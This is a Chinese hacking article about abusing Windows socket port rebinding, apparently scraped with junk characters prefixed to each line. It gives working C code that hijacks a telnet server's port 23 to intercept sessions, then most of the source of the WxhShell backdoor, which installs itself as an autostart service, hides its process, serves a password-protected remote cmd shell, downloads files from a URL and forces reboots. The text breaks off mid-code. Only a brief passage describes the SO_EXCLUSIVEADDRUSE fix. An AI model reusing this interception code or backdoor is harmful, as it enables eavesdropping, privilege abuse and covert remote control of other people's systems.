在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
-%P}LaC< s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
J(maJuY y;4g>ma0 saddr.sin_family = AF_INET;
3
Fy CD4# >"b\$",~6 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
c93 Ok | 4KSq]S. bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
:[f[-F +~of# 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
!+z^VcV #Cy3x-! 这意味着什么?意味着可以进行如下的攻击:
)+8r$ i 3XQe? 2:< 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
K"5q387! 61&{I>~1 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
7IkEud ht>/7.p] 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
x>BFK@# )b=vBs`% 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
s6(md<r nR@mm
j 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
E]g6|,4~- ^-n^IR}J 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
(vzYgU, ~&F|g2: 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
u ysTyzx `'3 De( #include
c(FGW7L< #include
-r_\=<( #include
:"Tkl$@, #include
89{;R DWORD WINAPI ClientThread(LPVOID lpParam);
uR.pQo07y< int main()
V lO^0r^z {
FV
aC8Kw WORD wVersionRequested;
'NfsAE DWORD ret;
;V?(j3b[ WSADATA wsaData;
"cly99t BOOL val;
ZF#n(Y? SOCKADDR_IN saddr;
'Z9UqEGV SOCKADDR_IN scaddr;
a MFUj+^ int err;
n
c~JAT#' SOCKET s;
:AqtPV'
SOCKET sc;
*&_cp]3-WF int caddsize;
5=p<"*zJ HANDLE mt;
*3@8,~_tp DWORD tid;
O\Z!7UQ$ wVersionRequested = MAKEWORD( 2, 2 );
L>E{~yh err = WSAStartup( wVersionRequested, &wsaData );
eLXL5&}`fh if ( err != 0 ) {
oTXIs4+G printf("error!WSAStartup failed!\n");
N=T} return -1;
xw_$1
S }
SK@ p0: saddr.sin_family = AF_INET;
}2m>S6""A TqV^\C? //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
$dK430_B
0]MD?6- saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
L ed{#+ saddr.sin_port = htons(23);
`/N={ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
t:P]bp^# {
uW/>c$*) printf("error!socket failed!\n");
[P ;fv return -1;
BzWkZAX }
?2,D-3 { val = TRUE;
0o6o<ggi //SO_REUSEADDR选项就是可以实现端口重绑定的
Jc]66
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
LN<rBF[_:f {
@W$ha
y printf("error!setsockopt failed!\n");
~7g$TAe{ return -1;
8Exky^OT| }
?@FqlWz , //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
&OXx\}>MW //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
zzo93d //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
`Je1$)% g=qaq
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
8No'8(dPX {
l=Pw
yJ ret=GetLastError();
F Qk printf("error!bind failed!\n");
Df *<3G return -1;
dvZlkMm
}
H`URJ8k$Q listen(s,2);
5|Z8UzL while(1)
VQG$$McJ {
B<qsa QG caddsize = sizeof(scaddr);
~@X3qja
//接受连接请求
DS7L}] sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
-m>3@"q if(sc!=INVALID_SOCKET)
y3QS!3I {
9b,0_IMHH mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
,2 W=/,5A if(mt==NULL)
6Bcr.` {
}oSgx printf("Thread Creat Failed!\n");
$G }9iV7 break;
h# Z,ud_ }
}m5()@Q}a }
Q{'4,J-w CloseHandle(mt);
*vIP\NL?H }
GQd[7j[sh closesocket(s);
]SPuNBsy) WSACleanup();
1-PlRQs.1 return 0;
ZUS5z+o }
>#l:]T DWORD WINAPI ClientThread(LPVOID lpParam)
:i0;jWcb {
JZ5 ";*, SOCKET ss = (SOCKET)lpParam;
AL,7rYZG$ SOCKET sc;
IEP|j;~* unsigned char buf[4096];
7gB?rJHV, SOCKADDR_IN saddr;
^ACrWk~UY long num;
J-uQF| DWORD val;
|s(Ih_Zn DWORD ret;
2]5Li/ //如果是隐藏端口应用的话,可以在此处加一些判断
0rI/$ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
IhZn saddr.sin_family = AF_INET;
/N<aN9Z<x, saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
3T,[ saddr.sin_port = htons(23);
)s,tBU+N if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
/QVwZrch {
Kn= EDtg printf("error!socket failed!\n");
kTI5CoXzq return -1;
%eIaH!x: }
zF>;7'\x val = 100;
*l"CIG' if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
*x]*% {
OgC,oj,!/ ret = GetLastError();
42 lw>gzr! return -1;
5G(dvM-n }
19y,O0# _ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
8Q)|8xpYS {
w $-q& ret = GetLastError();
-LUZ7,!/>o return -1;
i$6rnS&C }
G8%VL^;O*5 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
qhcx\eD:? {
2\z|/
Q printf("error!socket connect failed!\n");
o 7tUv"Rs closesocket(sc);
.s,04xW\ closesocket(ss);
2PRiiL@ return -1;
_
A#lyp }
\9`
~9#P while(1)
Q3&DA1b` {
9s[ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
0!ZaR6 //如果是嗅探内容的话,可以再此处进行内容分析和记录
&p_iAMn:9 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
n^l*oEl num = recv(ss,buf,4096,0);
6m(? (6+;K if(num>0)
_,aFQ^]'9 send(sc,buf,num,0);
)R'%SLw else if(num==0)
QKts-b[3 break;
4u%AZ<-C}m num = recv(sc,buf,4096,0);
JA9NTu( if(num>0)
jXALL8[c send(ss,buf,num,0);
D&uaA-;s else if(num==0)
RN[x\" , break;
:Rv+Bm }
4K7ved) closesocket(ss);
H?Q--pG8 closesocket(sc);
_a& Z$2O return 0 ;
\z FCph4 }
'/6f2[%Y" Qb>("j~Z U\qbr.< ==========================================================
e Ru5/y~ 1hi,&h 下边附上一个代码,,WXhSHELL
S,Q^M
)$ CdmpKkq# ==========================================================
$/g`{OI]K I(7iD. ^: #include "stdafx.h"
"9aFA(H6w ;}U]^LT= #include <stdio.h>
$!9/s S? #include <string.h>
L xIKH
G #include <windows.h>
8N9,HNBT$ #include <winsock2.h>
j?]+~ #include <winsvc.h>
a*D<J}xe #include <urlmon.h>
MmvOyKNZF *!BQ1] G #pragma comment (lib, "Ws2_32.lib")
\#w8~+`Gq #pragma comment (lib, "urlmon.lib")
u1u;aG ^q/^.Gf #define MAX_USER 100 // 最大客户端连接数
W?E,"z #define BUF_SOCK 200 // sock buffer
G9QvIXRi #define KEY_BUFF 255 // 输入 buffer
?f'`b<o JLo E)\Mi #define REBOOT 0 // 重启
;'V[8`Z@ #define SHUTDOWN 1 // 关机
f-[.^/ ^/%Y]d$ #define DEF_PORT 5000 // 监听端口
tK{#kApHGG Oe@w$? #define REG_LEN 16 // 注册表键长度
u^E0u^ #define SVC_LEN 80 // NT服务名长度
pxedj yY49JZ // 从dll定义API
md18q:AG) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
tS3&&t typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
g +gcH typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
}{:}K< typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
|r;>2b/ x %_p]6doF
// wxhshell配置信息
1'TS!/ll]; struct WSCFG {
z4(\yx int ws_port; // 监听端口
40].:9VG char ws_passstr[REG_LEN]; // 口令
BOM0QskLf int ws_autoins; // 安装标记, 1=yes 0=no
&{a#8sbf#c char ws_regname[REG_LEN]; // 注册表键名
f]?&R c2C char ws_svcname[REG_LEN]; // 服务名
=1|p$@L`% char ws_svcdisp[SVC_LEN]; // 服务显示名
oSy9Xw char ws_svcdesc[SVC_LEN]; // 服务描述信息
[U^Cz{G char ws_passmsg[SVC_LEN]; // 密码输入提示信息
BU>R<A5h int ws_downexe; // 下载执行标记, 1=yes 0=no
5-({z%:P char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
'3Fb[md54 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
&;JeLL1J 8JR&s };
p*YV*Arv edlf++r~ // default Wxhshell configuration
]S9Z5l0 struct WSCFG wscfg={DEF_PORT,
7AGUi+!ICl "xuhuanlingzhe",
Qu8=zI>t 1,
E1Q#@*rX> "Wxhshell",
Y@MxKK uj "Wxhshell",
>zfx2wh\a "WxhShell Service",
ze5#6Vzd& "Wrsky Windows CmdShell Service",
x*TJYST "Please Input Your Password: ",
l>s@&%;Mg 1,
}>621L3 - "
http://www.wrsky.com/wxhshell.exe",
0xCe6{86 "Wxhshell.exe"
PGYx]r };
T4ugG?B* y[S9b(:+ // 消息定义模块
`}$bJCSF.n char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
(47la$CR char *msg_ws_prompt="\n\r? for help\n\r#>";
8o
$` ' char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
i=P}i8,^= char *msg_ws_ext="\n\rExit.";
#NL'r99D/o char *msg_ws_end="\n\rQuit.";
/f+BeQ3#/ char *msg_ws_boot="\n\rReboot...";
L@Qvj-5e char *msg_ws_poff="\n\rShutdown...";
fWs*u[S char *msg_ws_down="\n\rSave to ";
seP h%Sa_ Vl<7> char *msg_ws_err="\n\rErr!";
Y;g\ @j char *msg_ws_ok="\n\rOK!";
v|]"uPxH? :+
1Wmg char ExeFile[MAX_PATH];
/Q:mUd int nUser = 0;
01RW|rN HANDLE handles[MAX_USER];
cb{"1z int OsIsNt;
*ywr_9 @*=5a(# SERVICE_STATUS serviceStatus;
0XqxW\8_l SERVICE_STATUS_HANDLE hServiceStatusHandle;
%yl17:h# SdnO#J}{ // 函数声明
H(M{hfa| int Install(void);
*{Z=)k% int Uninstall(void);
d 79 2#Dc int DownloadFile(char *sURL, SOCKET wsh);
88?O4)c int Boot(int flag);
b8vZ^8tBV void HideProc(void);
E2>+V{TF int GetOsVer(void);
H5:f&m int Wxhshell(SOCKET wsl);
+#< Z/ void TalkWithClient(void *cs);
n;>=QG
-v int CmdShell(SOCKET sock);
2\T\p<_20 int StartFromService(void);
"QiLu=Rq int StartWxhshell(LPSTR lpCmdLine);
b&LAk-}[ S QGYH VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
nf1 `)tXG VOID WINAPI NTServiceHandler( DWORD fdwControl );
U)aftH
*Pk kBoQjOV` // 数据结构和表定义
Y#=MN~##t SERVICE_TABLE_ENTRY DispatchTable[] =
fz2}M:u {
#5'&
|< {wscfg.ws_svcname, NTServiceMain},
``6- {NULL, NULL}
o[+t}hC[ };
wArfnB& 8~TKiR5 // 自我安装
ReA-.j_2@ int Install(void)
Vi}E9I4 {
C4|OsC7J char svExeFile[MAX_PATH];
{B6ywTK\` HKEY key;
~(GNY5 strcpy(svExeFile,ExeFile);
ae]6F_Qtc* 4udj"-V // 如果是win9x系统,修改注册表设为自启动
;ny 9q if(!OsIsNt) {
{s*2d P) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^M;#x$Y? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
v=cQ`nou RegCloseKey(key);
',LC!^:~Nw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ZrZDyXL RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
4i^WE;|s RegCloseKey(key);
j:/Z_v' return 0;
D>HbJCG4^ }
o;
U!{G(X }
=6Gn?
/{ }
.uxM&|0H else {
Pt/]Z<VL |5X[/Q*K`W // 如果是NT以上系统,安装为系统服务
Q>rr?L` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
VY+P c/b if (schSCManager!=0)
5$cjCjY {
iemp%~UZ SC_HANDLE schService = CreateService
B.~]
7H5"( (
Qx8(w"k* schSCManager,
8UqH"^9.Q7 wscfg.ws_svcname,
, c{ckm wscfg.ws_svcdisp,
&);P|v`8 SERVICE_ALL_ACCESS,
HTGLFY(& SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
TB+k[UxB SERVICE_AUTO_START,
!jSgpIp SERVICE_ERROR_NORMAL,
*L$_80 svExeFile,
QKlsBq NULL,
yRXWd*9 NULL,
gkA_<,38 NULL,
+{V`{' NULL,
v~x4Y,m% NULL
OHsA]7S );
#RaqNu if (schService!=0)
|('o g *$ {
X:;x5'| CloseServiceHandle(schService);
'@Rk#=85Z CloseServiceHandle(schSCManager);
&r4|WM/ec strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
s*<T'0&w0S strcat(svExeFile,wscfg.ws_svcname);
Fs%`W4/ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
?6`B;_m RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
dpylJ2 RegCloseKey(key);
2b^Fz0
w4 return 0;
/w(g:e }
f(~N+2} }
09jE7g @X} CloseServiceHandle(schSCManager);
n-l_PhPQ` }
e(|Z<6 }
G:tY1'5 F=1 #qo<? return 1;
PE4
L7 }
Q+9:]Bt 2[qfF6FHA // 自我卸载
SM4`Hys;p int Uninstall(void)
&s vg<UZ {
'kcR:5B HKEY key;
aXJ/"k #Tl 6Jb0MX"AVr if(!OsIsNt) {
ka\{?:r,8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
W3/bM>1 RegDeleteValue(key,wscfg.ws_regname);
Q/
.LDye8 RegCloseKey(key);
9|Jv>Ur=)2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&TQ~!ZMOR" RegDeleteValue(key,wscfg.ws_regname);
il@>b RegCloseKey(key);
Dn 0L%?_ return 0;
F!ztU8, }
u*)/e9C }
QDQ"Sc06 }
"N6HX* else {
"j,vlG J~]@#=,v SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
?1JY6v]h4 if (schSCManager!=0)
'!7>*< {
Lxv 4w SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
U\?D;ABQ% if (schService!=0)
49&i];:%7% {
+?o!"SJ if(DeleteService(schService)!=0) {
4F#H$`:[ CloseServiceHandle(schService);
%(/E
` CloseServiceHandle(schSCManager);
-?)^
hbr return 0;
+yWD>PY( }
EOrui:.B) CloseServiceHandle(schService);
06f%{mAZS }
$5JeN{B CloseServiceHandle(schSCManager);
|du%c`wl }
018SFle }
BA2"GJvfIA O?Bf (y return 1;
m.m6. }
:&vX0
Ce: 7b>_vtrt // 从指定url下载文件
WK`o3ayH- int DownloadFile(char *sURL, SOCKET wsh)
znsQ/[ {
w8 :[w HRESULT hr;
%%s)D4sW char seps[]= "/";
9efey? z char *token;
S9Yzvq!( char *file;
3d6z_Yd: char myURL[MAX_PATH];
ITw *m3 char myFILE[MAX_PATH];
W<X3!zuKSg $kTm"I strcpy(myURL,sURL);
x:MwM? token=strtok(myURL,seps);
s"=TM$Vb while(token!=NULL)
8c)GUx {
nD
BWm`kN file=token;
t[`LG) token=strtok(NULL,seps);
Gg'!(]v }
.T9$O]:o m1pA]}Y/5o GetCurrentDirectory(MAX_PATH,myFILE);
{fACfSW6 strcat(myFILE, "\\");
F(ydqgH~a strcat(myFILE, file);
HqW / send(wsh,myFILE,strlen(myFILE),0);
.t1:;H b send(wsh,"...",3,0);
w{*kbGB8s7 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
KSchgon0V if(hr==S_OK)
<!Cjq,Sk7 return 0;
q8d](MaX else
,yltt+e return 1;
AyO%,6p[ BrE#.g Jq }
paIjXaU1Mb #("M4}~ // 系统电源模块
,yGbMOV int Boot(int flag)
YQN:&Cls {
E,6|-V;? HANDLE hToken;
$M)i]ekm TOKEN_PRIVILEGES tkp;
U=~?ca *0>`XK$mWo if(OsIsNt) {
MT~^wI0a OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
]!{S2x&" LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
hE {";/}J tkp.PrivilegeCount = 1;
QGuqV8 y0 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
?4R%z([X7 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
W94:% if(flag==REBOOT) {
%jjPs. if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
e&z@yy$
return 0;
fY&TI}Y }
#!F>cez else {
xA
Ez1 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
S<i1t[E@W return 0;
w&L~+Z< }
O.B9w+G= }
2/4zg else {
t<` As6} if(flag==REBOOT) {
Nj4CkMM[3 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
]oV{JR] return 0;
b M1\z }
|iHMAo else {
g& e u if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
DSwb8q return 0;
X=whZ\EZ }
AE77i,Xa }
N4ZV+
|
({j8|{)+ return 1;
}e$ }
XZKlE
F? B%6cgm, // win9x进程隐藏模块
Kz42AC void HideProc(void)
z='%NZY {
0beP7}$ $$m0mK HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
pZ>yBY?R8> if ( hKernel != NULL )
1jd{AqHl {
VH]}{i"` pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
yIKpyyC9H ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
_!o8s%9be FreeLibrary(hKernel);
$!*>5".A }
/3aW 0/^o @KL&vm(F$ return;
u$R5Q{H_ }
5c]:/9& 1@p, // 获取操作系统版本
$b|LZE\bU. int GetOsVer(void)
+ kMj|()>\ {
:u,.(INB OSVERSIONINFO winfo;
D:Q#%wJ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
xw9ZRu<z GetVersionEx(&winfo);
F~6]II if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
,5$G0 return 1;
Fy{yg]O" else
rByth,| return 0;
vIJ5iLF }
JhFn"(O -Rw3[4>@O" // 客户端句柄模块
'*y(F*7+ int Wxhshell(SOCKET wsl)
j_2g*lQ7a {
!-OZ/^l|O` SOCKET wsh;
lq:q0>vyI struct sockaddr_in client;
jM$bWtq2 DWORD myID;
qt@/ +4%~.,<_to while(nUser<MAX_USER)
L-w3A:jk {
!s-A`}
s+ int nSize=sizeof(client);
{KHI(*r; wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
M3-lL;!n if(wsh==INVALID_SOCKET) return 1;
,A{Bx`o? DKt98; handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
C<J*C0vQO if(handles[nUser]==0)
8S#$'2sT closesocket(wsh);
X "7CN Td else
B`-uZ9k nUser++;
Vbv^@Kp }
89:nF# WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
cIw X sx
w317]-n return 0;
rQ*w3F?: }
iXm&\.% ~k&b // 关闭 socket
I4N7wnBp void CloseIt(SOCKET wsh)
zU!{_Ao9 {
J`5+Zngr closesocket(wsh);
@
3=pFYW) nUser--;
e=(Y,e3 ExitThread(0);
{'4#{zmp }
eWDXV-xD @}4>:\es // 客户端请求句柄
v,}C~L3 void TalkWithClient(void *cs)
n0 l|7:Mk {
?sQg{1"Zr nZB~l= SOCKET wsh=(SOCKET)cs;
Ij(<(y{?Q1 char pwd[SVC_LEN];
1TTS@\ char cmd[KEY_BUFF];
+1T>Ob;hk char chr[1];
G K~A,Miqk int i,j;
-
2L(])t6 (@}^ 3jpT while (nUser < MAX_USER) {
z~h?"' =Oy& f:s if(wscfg.ws_passstr) {
?Vg~7Eu0 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
fSbLkd 9 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
j:cu;6| //ZeroMemory(pwd,KEY_BUFF);
t/t6o& i=0;
#|E#Rkw! while(i<SVC_LEN) {
6ZIPe~` 01@WU1IN // 设置超时
p?$N[-W 6- fd_set FdRead;
D
1.59mHsD struct timeval TimeOut;
Nmx\qJUR( FD_ZERO(&FdRead);
`
1+*-g^r FD_SET(wsh,&FdRead);
(m2%7f.I TimeOut.tv_sec=8;
1SjVj9{: TimeOut.tv_usec=0;
q,ie)` int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
p'LLzc## if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
$EY[CA
E Xi"9y @ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
&qWg$_Yh pwd
=chr[0]; 9!=4}:+
if(chr[0]==0xd || chr[0]==0xa) { ,5zY1C==Ut
pwd=0; 1L::Qu%E
break; :.AC%'S
} 3Y#
i++; c<_1o!68
} CfW#Wk:8J
_XZK2Q[
// 如果是非法用户,关闭 socket q}Po)IUT`5
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =*'yGB[x)
}
;cf$u}+
(KC08
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g"n>v
c7
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TFb7P/g
]7<$1ta
while(1) { B)7 :*Kj
8WDL.IO
ZeroMemory(cmd,KEY_BUFF); je$H}D
~Zsj@d
// 自动支持客户端 telnet标准 #8t=vb3
j=0; 9K}DmS
while(j<KEY_BUFF) { BD]J/o
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mIf)=RW
cmd[j]=chr[0]; Lfx a^0
if(chr[0]==0xa || chr[0]==0xd) { x=>dmi3
cmd[j]=0; 0(c,J$I]Z!
break; /
P@P1l|I
} Mm8_EjMp
j++; 0* x?rO?
} M#2<|VUW,
NUiv"tAY
// 下载文件 r^.9
|YM5
if(strstr(cmd,"http://")) { o]p$
w[5
send(wsh,msg_ws_down,strlen(msg_ws_down),0); o!h::j0,~
if(DownloadFile(cmd,wsh)) w$$pTk|&n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); IrRy1][Qr
else "T /$K
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y+B iaD!U
} N@0/=B[n
else { c%G~HOE=B
rY Puo
switch(cmd[0]) { n. N0Nhd
Kc]
GE#~g
// 帮助 r9}(FL/)b
case '?': { ^Mm%`B7W
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _Rjbm'kC
break; xM)P=y_!M+
} Se??E+aX
// 安装 85"Szc-#
case 'i': { m6
M/G
if(Install()) g#{7qmM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $n8&5<
else .vmCKZ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^&F.T-( A
break; g[b;1$
} }6u}?>S
// 卸载 'GW~~UhdW
case 'r': { _Hq)@AI
if(Uninstall()) uAYDX<Ja9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Q>
else FFwu$S6e
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :p<:0W2!
break; -{L 7%j|R
} r8y,$Mv<)0
// 显示 wxhshell 所在路径 'h&>K,U?5
case 'p': { f
4K)Z
e
char svExeFile[MAX_PATH]; meB9:w[m
strcpy(svExeFile,"\n\r"); %j2 :W\g:
strcat(svExeFile,ExeFile); }cW8B"_"
send(wsh,svExeFile,strlen(svExeFile),0); hHEn
break; l;z+E_sQ
} )@B!
// 重启 W:f )#'
case 'b': { Tpnwwx[]:|
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y\6C9%.
if(Boot(REBOOT)) G?s;L NR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2CtCG8o
else { &_QD1 TT
closesocket(wsh); }+NlYD:qF
ExitThread(0); 29@m:=-}7
} s*CBYzOm
break; }e"2Nc_UG
} qi_uob
// 关机 (F R
case 'd': { K#v @bu:'
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sN[<{;K4
if(Boot(SHUTDOWN)) hsws7sH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); S ="\ S
else { OlW5k`B
closesocket(wsh); 5?#AS#TD'
ExitThread(0); .Pe^u%J6F
} ,mp^t2
break; ?6[u\V
}
e oFM
// 获取shell 7m(9|Y:Q.
case 's': { l>Zp#+I-
CmdShell(wsh); @MH/efW.
closesocket(wsh); mk-L3H1@J3
ExitThread(0); tpV61L
break; @!\lt$
} )Zyw^KN^
// 退出 O,&p"K&Z
case 'x': { %[?{H} y
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q`h@-6N
CloseIt(wsh); I7#+B1t
break; A{hST~s
} }N3Ur~X\
// 离开 _rUsb4r
case 'q': { "y .(E7 6
send(wsh,msg_ws_end,strlen(msg_ws_end),0); #=fd8}9
closesocket(wsh); hG/Z65`&
WSACleanup(); |msQ
exit(1); dBL{Mbh2Z
break; `Z#]lS?
} pKL^<'w0
} iaaD1<m
} 8{.:$T
lgCOp%>
// 提示信息 OB+I.qlHP
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sgeME^ v
} @aoHz8K
} f;W>:`'
BjUz"69
return; y-7$HWn
} KMkX0+Ao
~o/e0
// shell模块句柄 u $T'#p1
int CmdShell(SOCKET sock) /#4BUfY
f
{ A.S:eQvS%
STARTUPINFO si; q1M16qv5
ZeroMemory(&si,sizeof(si)); ~gbq^
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pdR&2fp
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #kEa&Se
PROCESS_INFORMATION ProcessInfo; V V~Kgy
char cmdline[]="cmd"; /aMeKM[L`
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T CO^9RP<
return 0; "IsDL^)A9
} NB/ wJ3 F
T$xY]hqr
// 自身启动模式 ki_Py5
int StartFromService(void) }~ o>H a;
{ h3L{zOff
typedef struct `ZAGseDd~
{ Y'i_EX|
DWORD ExitStatus; @7B!(Q
DWORD PebBaseAddress; .zyi'Kj
